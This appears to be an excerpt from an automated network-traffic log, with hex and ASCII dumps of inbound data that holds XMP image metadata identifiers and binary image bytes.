2022-07-20 11:24:38 UTC	5623	IN	Data Raw: 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 38 39 31 44 42 34 36 39 32 31 36 38 31 31 41 36 31 33 38 45 46 32 43 31 36 38 37 36 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 39 46 30 39 42 30 36 39 32 30 36 38 31 31 41 39 45 46 43 33 35 37 44 46 31 45 34 34 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 41 32 35 33 36 31 37 30 32 35 36 38 31 31 39 33 37 35 45 30 39 31 36 39 37 38 33 43 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 42 30 44 34 33 37 30 39 44 43 44 46 31 31 38 35 42 37 46 36 38 44 42 43 32 46 38 43 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d Data Ascii: F3B</rdf:li> <rdf:li>xmp.did:4D891DB469216811A6138EF2C16876FC</rdf:li> <rdf:li>xmp.did:4D9F09B069206811A9EFC357DF1E44DE</rdf:li> <rdf:li>xmp.did:4DA25361702568119375E09169783C56</rdf:li> <rdf:li>xmp.did:4DB0D43709DCDF1185B7F68DBC2F8CF4</rdf:li> <rdf:li>xm
2022-07-20 11:24:38 UTC	5639	IN	Data Raw: 38 31 31 39 37 41 35 39 44 42 37 33 36 46 35 33 35 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 34 33 32 36 30 44 31 39 32 30 36 38 31 31 38 44 42 42 42 33 34 38 37 44 46 34 37 33 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 35 45 46 43 34 34 46 36 32 30 36 38 31 31 38 30 38 33 41 33 39 39 39 45 39 46 34 39 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 37 31 44 43 36 30 31 34 32 30 36 38 31 31 38 37 31 46 45 44 30 33 43 31 42 30 36 30 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 37 36 31 32 44 44 43 38 31 45 45 32 31 31 42 43 33 39 44 42 39 41 41 33 39 42 46 37 42 30 3c 2f 72 64 Data Ascii: 81197A59DB736F535FE</rdf:li> <rdf:li>xmp.did:5D43260D192068118DBBB3487DF47355</rdf:li> <rdf:li>xmp.did:5D5EFC44F62068118083A3999E9F4936</rdf:li> <rdf:li>xmp.did:5D71DC6014206811871FED03C1B060F7</rdf:li> <rdf:li>xmp.did:5D7612DDC81EE211BC39DB9AA39BF7B0</rd
2022-07-20 11:24:38 UTC	5655	IN	Data Raw: 44 38 43 38 33 46 38 33 44 32 31 39 46 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 36 30 37 43 43 45 31 39 32 30 36 38 31 31 41 44 33 39 42 31 41 36 39 43 31 32 37 46 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 39 45 39 35 43 38 34 32 44 43 45 30 31 31 38 44 41 42 44 36 32 32 30 44 44 41 34 39 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 42 42 41 38 35 31 30 45 37 32 45 38 31 31 38 44 33 43 41 36 35 30 45 43 35 33 41 41 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 42 45 41 34 45 30 30 45 32 30 36 38 31 31 41 42 30 38 45 41 43 46 43 36 39 44 46 39 43 38 3c 2f 72 64 66 3a 6c 69 Data Ascii: D8C83F83D219F7B</rdf:li> <rdf:li>xmp.did:6B607CCE19206811AD39B1A69C127F67</rdf:li> <rdf:li>xmp.did:6B9E95C842DCE0118DABD6220DDA49C7</rdf:li> <rdf:li>xmp.did:6BBBA8510E72E8118D3CA650EC53AA58</rdf:li> <rdf:li>xmp.did:6BBEA4E00E206811AB08EACFC69DF9C8</rdf:li
2022-07-20 11:24:38 UTC	5663	IN	Data Raw: 46 31 34 45 33 31 31 41 31 31 41 44 42 30 41 44 34 46 30 31 44 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 32 41 36 34 41 38 30 37 32 30 36 38 31 31 38 43 31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 33 43 41 31 31 34 38 32 32 30 36 38 31 31 38 43 31 34 38 30 34 34 46 35 33 41 30 46 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 33 62 35 34 30 61 2d 36 37 38 61 2d 34 32 34 37 2d 38 39 38 32 2d 31 36 36 61 61 39 63 36 34 38 34 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 34 31 30 38 31 46 30 41 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 Data Ascii: F14E311A11ADB0AD4F01DCF</rdf:li> <rdf:li>xmp.did:722A64A8072068118C14B8707D570A5C</rdf:li> <rdf:li>xmp.did:723CA114822068118C148044F53A0F87</rdf:li> <rdf:li>xmp.did:723b540a-678a-4247-8982-166aa9c6484e</rdf:li> <rdf:li>xmp.did:7241081F0A2068118A6DC638F9FC
2022-07-20 11:24:38 UTC	5679	IN	Data Raw: 44 32 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 31 41 31 37 32 41 32 45 32 30 36 38 31 31 38 33 36 37 43 31 36 37 32 41 37 32 37 31 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 32 39 63 30 30 39 2d 35 66 30 33 2d 34 34 66 31 2d 38 39 36 61 2d 30 62 35 39 32 63 33 66 64 30 61 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 33 64 31 36 33 64 2d 37 32 37 39 2d 34 36 61 65 2d 39 66 65 63 2d 35 34 32 63 36 32 30 63 33 36 62 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 35 42 37 35 37 42 45 45 43 37 45 33 31 31 42 36 44 35 43 44 30 46 33 37 37 34 39 41 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: D27A</rdf:li> <rdf:li>xmp.did:821A172A2E2068118367C1672A727171</rdf:li> <rdf:li>xmp.did:8229c009-5f03-44f1-896a-0b592c3fd0a7</rdf:li> <rdf:li>xmp.did:823d163d-7279-46ae-9fec-542c620c36b6</rdf:li> <rdf:li>xmp.did:825B757BEEC7E311B6D5CD0F37749A43</rdf:li> <
2022-07-20 11:24:38 UTC	5695	IN	Data Raw: 2d 39 30 61 35 2d 35 30 30 64 38 31 63 37 34 37 37 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 35 32 35 38 61 32 2d 61 64 66 66 2d 34 31 61 65 2d 38 64 36 37 2d 32 37 61 32 33 36 63 64 39 36 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 38 30 61 36 63 65 2d 39 38 36 38 2d 63 62 34 34 2d 38 65 61 37 2d 37 31 35 39 30 35 66 35 37 38 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 61 38 38 64 62 62 2d 36 66 62 39 2d 64 39 34 36 2d 62 64 37 32 2d 36 30 33 65 61 65 61 38 61 66 36 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 61 39 30 66 39 33 2d 65 65 64 33 2d 61 32 34 63 2d 61 33 37 36 2d 35 Data Ascii: -90a5-500d81c7477f</rdf:li> <rdf:li>xmp.did:8e5258a2-adff-41ae-8d67-27a236cd9613</rdf:li> <rdf:li>xmp.did:8e80a6ce-9868-cb44-8ea7-715905f57865</rdf:li> <rdf:li>xmp.did:8ea88dbb-6fb9-d946-bd72-603eaea8af6c</rdf:li> <rdf:li>xmp.did:8ea90f93-eed3-a24c-a376-5
2022-07-20 11:24:38 UTC	5702	IN	Data Raw: 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 35 41 36 38 42 45 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 36 61 39 62 38 38 2d 66 32 33 36 2d 34 61 31 63 2d 61 39 35 33 2d 30 31 66 31 62 38 36 62 62 65 30 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 37 66 34 34 63 63 2d 61 32 63 31 2d 38 63 34 64 2d 61 30 35 34 2d 36 34 30 36 35 66 38 63 64 37 66 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 39 38 66 32 66 36 2d 33 66 31 66 2d 34 62 34 35 2d 62 33 63 31 2d 64 66 31 39 39 63 36 32 64 64 37 31 3c 2f 72 64 66 3a 6c 69 3e Data Ascii: 35</rdf:li> <rdf:li>xmp.did:965A68BE0720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:966a9b88-f236-4a1c-a953-01f1b86bbe0e</rdf:li> <rdf:li>xmp.did:967f44cc-a2c1-8c4d-a054-64065f8cd7fb</rdf:li> <rdf:li>xmp.did:9698f2f6-3f1f-4b45-b3c1-df199c62dd71</rdf:li>
2022-07-20 11:24:38 UTC	5718	IN	Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 39 31 36 41 33 41 31 41 32 30 36 38 31 31 38 43 31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 45 31 43 46 46 37 37 34 32 31 36 38 31 31 39 39 34 43 41 31 41 43 41 37 35 43 45 34 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 46 31 34 39 32 41 39 45 31 42 45 31 31 31 38 38 45 33 41 45 39 44 39 32 43 41 45 46 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 46 46 41 44 45 43 30 46 32 30 36 38 31 31 39 32 42 30 46 43 38 35 30 32 37 33 30 46 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 39 30 37 45 30 43 42 46 Data Ascii: df:li>xmp.did:A8916A3A1A2068118C14B8707D570A5C</rdf:li> <rdf:li>xmp.did:A8E1CFF774216811994CA1ACA75CE444</rdf:li> <rdf:li>xmp.did:A8F1492A9E1BE11188E3AE9D92CAEF2E</rdf:li> <rdf:li>xmp.did:A8FFADEC0F20681192B0FC8502730FE5</rdf:li> <rdf:li>xmp.did:A907E0CBF
2022-07-20 11:24:38 UTC	5734	IN	Data Raw: 31 31 39 32 42 30 42 41 41 39 30 34 44 45 30 46 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 33 36 38 32 36 36 39 30 31 41 45 32 31 31 38 37 36 31 45 38 45 46 42 33 36 37 44 39 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 34 41 37 43 43 34 39 45 39 33 44 46 31 31 39 30 41 43 42 36 35 35 32 42 44 43 42 37 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 37 42 33 38 35 32 32 41 32 30 36 38 31 31 39 32 42 30 41 34 32 34 38 37 30 35 39 42 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 42 30 41 34 43 42 32 45 32 30 36 38 31 31 38 30 38 33 45 36 44 38 33 31 32 42 31 38 39 37 3c 2f 72 64 66 Data Ascii: 1192B0BAA904DE0F8D</rdf:li> <rdf:li>xmp.did:C2368266901AE2118761E8EFB367D965</rdf:li> <rdf:li>xmp.did:C24A7CC49E93DF1190ACB6552BDCB702</rdf:li> <rdf:li>xmp.did:C27B38522A20681192B0A42487059B16</rdf:li> <rdf:li>xmp.did:C2B0A4CB2E2068118083E6D8312B1897</rdf
2022-07-20 11:24:38 UTC	5742	IN	Data Raw: 3a 43 44 45 46 42 45 36 42 35 43 32 30 36 38 31 31 38 46 36 32 43 37 34 44 31 32 41 35 36 36 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 44 46 31 34 46 33 36 31 39 32 30 36 38 31 31 42 45 39 43 38 38 46 42 34 46 36 44 39 32 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 30 42 34 41 30 44 39 36 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 31 43 41 33 37 45 38 38 42 45 44 45 31 31 42 46 33 36 39 32 39 31 35 41 35 41 32 45 43 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 32 33 45 33 42 30 30 46 32 30 36 38 31 31 38 37 31 46 39 44 Data Ascii: :CDEFBE6B5C2068118F62C74D12A566D9</rdf:li> <rdf:li>xmp.did:CDF14F3619206811BE9C88FB4F6D925B</rdf:li> <rdf:li>xmp.did:CE0B4A0D96226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:CE1CA37E88BEDE11BF3692915A5A2ECB</rdf:li> <rdf:li>xmp.did:CE23E3B00F206811871F9D
2022-07-20 11:24:38 UTC	5758	IN	Data Raw: 42 37 41 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 31 42 43 34 38 35 46 34 32 33 36 38 31 31 38 41 36 44 45 41 35 36 41 42 34 43 34 35 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 33 44 34 43 34 41 43 39 32 30 36 38 31 31 42 30 34 43 44 45 44 46 38 31 43 38 35 43 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 34 32 42 45 43 33 32 34 32 30 36 38 31 31 38 30 38 33 41 33 34 37 32 44 37 31 32 31 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 36 46 41 34 33 35 41 37 32 32 36 38 31 31 39 30 32 39 39 46 46 34 41 41 42 43 42 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: B7A81</rdf:li> <rdf:li>xmp.did:E21BC485F42368118A6DEA56AB4C45D8</rdf:li> <rdf:li>xmp.did:E23D4C4AC9206811B04CDEDF81C85CB3</rdf:li> <rdf:li>xmp.did:E242BEC3242068118083A3472D712128</rdf:li> <rdf:li>xmp.did:E26FA435A722681190299FF4AABCB75E</rdf:li> <rdf:li>
2022-07-20 11:24:38 UTC	5774	IN	Data Raw: 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 43 36 32 33 36 38 42 46 46 42 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 43 37 31 43 46 36 44 39 45 32 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 38 33 42 44 46 32 37 42 35 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 35 44 39 43 43 42 38 43 36 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 Data Ascii: id:F77F1174072068119109C62368BFFBF7</rdf:li> <rdf:li>xmp.did:F77F1174072068119109C71CF6D9E2A4</rdf:li> <rdf:li>xmp.did:F77F1174072068119109D83BDF27B5D0</rdf:li> <rdf:li>xmp.did:F77F1174072068119109E5D9CCB8C630</rdf:li> <rdf:li>xmp.did:F77F1174072068119109
2022-07-20 11:24:38 UTC	5778	IN	Data Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 35 36 35 46 32 32 46 37 32 30 36 38 31 31 38 30 38 33 41 33 39 39 39 45 39 46 34 39 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 36 32 31 32 39 41 30 32 30 39 45 30 31 31 39 31 42 46 42 32 36 36 34 36 41 42 43 33 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 36 32 37 45 35 41 45 30 46 45 45 30 31 31 42 41 30 31 38 31 30 35 42 43 34 45 43 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 38 37 41 38 31 34 42 41 31 34 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 Data Ascii: f:li>xmp.did:F8565F22F72068118083A3999E9F4936</rdf:li> <rdf:li>xmp.did:F862129A0209E01191BFB26646ABC3DE</rdf:li> <rdf:li>xmp.did:F8627E5AE0FEE011BA018105BC4ECC83</rdf:li> <rdf:li>xmp.did:F87F117407206811808387A814BA1408</rdf:li> <rdf:li>xmp.did:F87F117407
2022-07-20 11:24:38 UTC	5794	IN	Data Raw: 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 33 66 31 32 64 32 37 2d 38 33 38 63 2d 63 35 34 62 2d 62 39 32 36 2d 30 38 61 38 37 66 35 31 36 65 38 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 34 38 32 66 64 38 34 2d 32 35 66 62 2d 36 37 34 61 2d 61 64 33 35 2d 39 30 65 34 30 61 61 62 35 32 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 34 39 64 64 63 34 62 2d 33 31 63 34 2d 34 66 62 61 2d 39 62 36 39 2d 30 63 39 38 62 34 38 34 32 62 65 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 34 61 33 39 36 35 63 2d 30 64 64 36 2d 34 30 34 35 2d 61 33 33 65 2d 30 61 32 39 32 37 33 35 61 61 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e Data Ascii: li>xmp.did:a3f12d27-838c-c54b-b926-08a87f516e8d</rdf:li> <rdf:li>xmp.did:a482fd84-25fb-674a-ad35-90e40aab52ec</rdf:li> <rdf:li>xmp.did:a49ddc4b-31c4-4fba-9b69-0c98b4842be2</rdf:li> <rdf:li>xmp.did:a4a3965c-0dd6-4045-a33e-0a292735aa19</rdf:li> <rdf:li>xmp.
2022-07-20 11:24:38 UTC	5810	IN	Data Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 34 66 64 33 33 61 66 2d 38 32 38 62 2d 34 62 37 30 2d 61 33 64 31 2d 37 37 61 39 65 63 63 62 36 64 62 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 35 31 36 35 35 36 66 2d 66 33 64 36 2d 34 63 31 36 2d 62 32 36 37 2d 30 31 37 36 31 39 33 31 65 65 33 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 35 36 35 39 30 35 35 2d 32 35 61 38 2d 34 36 34 63 2d 61 62 38 34 2d 39 61 32 38 64 32 62 66 38 61 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 35 38 30 33 30 30 61 2d 36 31 65 37 2d 63 64 34 66 2d 61 61 33 65 2d 62 34 39 32 62 33 62 32 35 64 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 Data Ascii: :li>xmp.did:d4fd33af-828b-4b70-a3d1-77a9eccb6dbb</rdf:li> <rdf:li>xmp.did:d516556f-f3d6-4c16-b267-01761931ee3c</rdf:li> <rdf:li>xmp.did:d5659055-25a8-464c-ab84-9a28d2bf8aaf</rdf:li> <rdf:li>xmp.did:d580300a-61e7-cd4f-aa3e-b492b3b25d66</rdf:li> <rdf:li>xmp
2022-07-20 11:24:38 UTC	5814	IN	Data Raw: 2d 61 64 63 35 2d 34 61 62 30 2d 38 39 30 62 2d 65 38 35 30 61 66 61 62 65 38 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 36 63 36 34 65 61 2d 36 63 65 36 2d 66 35 34 66 2d 62 63 64 65 2d 35 63 33 66 61 63 34 35 34 66 30 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 37 31 30 36 38 31 2d 62 62 32 38 2d 34 39 31 38 2d 62 39 33 33 2d 36 62 36 31 37 38 36 65 38 65 65 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 62 38 33 39 64 31 2d 34 62 66 66 2d 34 31 62 63 2d 39 31 33 32 2d 37 35 36 32 64 65 63 32 61 33 66 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 63 63 62 64 65 34 2d 36 39 61 62 2d 61 Data Ascii: -adc5-4ab0-890b-e850afabe8af</rdf:li> <rdf:li>xmp.did:e16c64ea-6ce6-f54f-bcde-5c3fac454f0d</rdf:li> <rdf:li>xmp.did:e1710681-bb28-4918-b933-6b61786e8eef</rdf:li> <rdf:li>xmp.did:e1b839d1-4bff-41bc-9132-7562dec2a3f3</rdf:li> <rdf:li>xmp.did:e1ccbde4-69ab-a
2022-07-20 11:24:38 UTC	5830	IN	Data Raw: 19 49 a9 0a f5 af 32 b7 9a 25 5e 4e 5d 2d bd 20 45 89 04 87 d1 fb 70 8b f9 95 46 b9 d0 7f f5 a6 58 f9 79 5e a5 92 6d e7 21 23 09 19 b5 1d 83 16 6f 34 48 ca 51 53 e5 ff 00 4b b4 d0 e0 26 53 ac d9 10 29 72 a1 58 b8 63 c0 8e 5a a3 ff 00 12 ce e5 9d cd 18 76 a7 c1 c4 5a 30 4c 68 a8 aa 42 f0 a5 3b d2 58 5d ae 7e f3 36 99 3e f5 26 49 85 60 31 cb 1a 95 2b 29 15 5e 3c ac cc e7 f0 df 5e 66 49 c9 3f 90 2c 82 ea b6 25 7c b4 f0 55 09 2a 31 d4 7a c5 61 89 e9 7c 73 0a 63 e2 37 e5 26 90 5d 7c 44 f1 03 b6 f8 6b 63 3e 83 9f 1b 33 6f 96 38 a4 95 64 66 25 56 95 05 8a b1 bd da fe 5e 55 6b 74 ff 00 33 38 6d 53 db 0b df 7f 13 6d 38 13 de e4 5d 2b c8 91 2e fc eb 49 d6 38 e1 c2 93 c0 03 27 37 51 95 6d e7 f7 79 6f d2 91 cb 2b 1c 9f 99 5b 51 90 c9 8b 7b d5 53 8d ad fd f4 66 46 12 Data Ascii: I2%^N]- EpFXy^m!#o4HQSK&S)rXcZvZ0LhB;X]~6>&I`1+)^<^fI?,%\|U*1za\|sc7&]\|Dkc>3o8df%V^Ukt38mSm8]+.I8'7Qmyo+[Q{SfF
2022-07-20 11:24:38 UTC	5846	IN	Data Raw: 56 67 66 57 1c 85 1e 2b bc de ef ea eb 3d e3 ca ce c0 a9 66 b1 40 2e 47 b5 ee b7 e2 57 ab 85 b1 16 e1 fd f4 7e 20 8e 05 63 34 8b 2f 52 4a ad a3 80 f6 5b f6 79 b4 42 67 42 d2 2c 48 40 bf 8a d7 85 7e 11 a9 6c 3f 51 63 19 65 c1 c9 90 44 44 62 40 ed ca 80 77 3b fd d4 e6 b5 74 67 55 71 27 58 72 89 72 40 60 c0 70 20 ff 00 99 a9 7d b3 06 fc c0 d7 b6 43 da 5f 66 a9 9e 9c bd 9c 69 87 a9 a6 ff 00 4e c5 fc ec 81 af c5 75 93 94 71 22 bd 37 4f fa 91 c8 da 5f be 65 8d e2 1f c9 43 03 4b 16 42 54 bb 29 00 54 56 3b 7f 6f 4f 8c 98 99 91 ac 33 72 4c 85 65 42 fc 6b 4e 1f 6a cf d5 e5 6d 48 ed f9 bb a3 e6 4b 83 8e 1a 4c 3c 59 55 55 d2 97 15 3f 32 d9 19 fb f6 ff 00 95 df d3 9f d2 c7 1a a4 90 b2 be 86 45 c9 b0 78 f9 bf 87 22 ff 00 98 8f f0 c9 9f 25 58 35 c5 fb 46 84 52 08 b2 f1 Data Ascii: VgfW+=f@.GW~ c4/RJ[yBgB,H@~l?QceDDb@w;tgUq'Xrr@`p }C_fiNuq"7O_eCKBT)TV;oO3rLeBkNjmHKL<YUU?2Ex"%X5FR
2022-07-20 11:24:38 UTC	5854	IN	Data Raw: 49 14 56 da cc 18 02 09 03 ba ea 2f e5 ef 5d f1 e9 fe 0e f7 85 0b fe 53 0a 43 2d 88 5c b1 e6 2c 47 da ba ef 3f 2d fa 5d 8f b6 47 2d 21 8c 44 f2 0a c9 2c 59 20 99 03 9e ea 47 14 dc fd 3b 15 ad e4 b2 ef 16 81 c0 f4 e2 60 ee 28 72 a1 3b 7b ca 82 30 f8 ee 15 1d 8f 3d 8c 53 93 a8 ca b6 74 ed f8 75 79 92 36 8d 96 40 c8 50 e7 cd d7 91 f1 45 f0 ff 00 94 d5 05 3f 30 f3 02 05 f5 03 e8 d4 c7 0f 66 ff 00 51 6f ce 97 99 0b 92 a6 f5 b9 ab 75 bc b7 16 b6 38 bd ff 00 fc ef 36 c9 7a 32 b6 34 d3 a4 f5 24 23 8b 55 ae 1f 89 03 a2 78 97 bc ad fd cd 24 6c fd c3 d3 72 cb 01 89 72 60 46 0c a4 1b 24 22 4e 76 99 d7 f0 1a d9 6f 4e 4e 9e a6 96 29 e1 ac 8b 22 15 67 e6 bc 98 a4 0e 39 fa 8b 23 7f db bb 79 55 72 75 51 b5 6d e0 6d 50 ae 0b e5 60 79 bf f1 3f 33 2c 7a 93 96 aa 58 a9 b0 d3 Data Ascii: IV/]SC-\,G?-]G-!D,Y G;`(r;{0=Stuy6@PE?0fQou86z24$#Ux$lrr`F$"NvoNN)"g9#yUruQmmP`y?3,zX
